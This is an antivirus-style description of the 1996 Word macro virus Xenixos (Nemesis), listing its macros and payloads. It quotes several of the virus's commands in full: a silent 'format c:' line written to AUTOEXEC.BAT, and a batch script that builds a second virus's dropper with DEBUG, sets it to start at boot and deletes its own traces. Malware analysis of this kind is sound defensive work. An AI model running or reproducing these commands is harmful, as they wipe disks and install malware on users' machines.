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-
- Macro.Word.Xenixos (Nemesis)
- -------------------------------------------------
-
- It is encrypted virus. It contains the macroses:
-
- **********************************************************************************
- Drop nemesi11.txt
- Dummy nemesis5.txt
- AutoExec nemesis1.txt
- AutoOpen nemesis6.txt
- DateiOffnen nemesi10.txt
- ExtrasMakro nemesis2.txt
- DateiBeenden nemesis7.txt
- DateiDrucken nemesis8.txt
- DateiSpeichern nemesis3.txt
- DateiSpeichernUnter nemesis4.txt
- DateiDruckenStandard nemesis9.txt
- ***********************************************************************************
-
-
- In some cases it sets the password "xenixos" for infected documents,
- displays the message:
-
- Diese Option ist derzeit leider nicht verf gbar.
- Fehler
-
- While printing the documents it appends:
-
- Brought to you by the Nemesis Corporation, 1996
-
- On 1st of may the virus writes the string to the AUTOEXEC.BAT file:
-
- @echo j|format c: /u >nul
-
- This virus also launches "Neurobasher.b" multipartite virus. To do that the
- virus creates the C:\DOS\SCRIPT.SCR file, and writes hexadecimal dump
- of that virus into there. Then the virus creates the C:\DOS\EXEC.BAT file,
- and writes the strings into there:
-
- @echo off
- debug < script.scr>nul
- rem debugger.com
- echo @c:\dos\debugger.exe>>c:\autoexec.bat
- del c:\dos\script.scr
- del c:\dos\exec.bat
-
- Then the virus executes that file. As the result DEBUG.EXE creates the
- DEBUGGER.EXE file, and C:\AUTOEXEC.BAT has new string at its end:
-
- @c:\dos\debugger.exe
-
- So, the last command of AUTOEXEC.BAT launches dropper of "Neurobasher.b"
- virus.
- ..........................................................................
-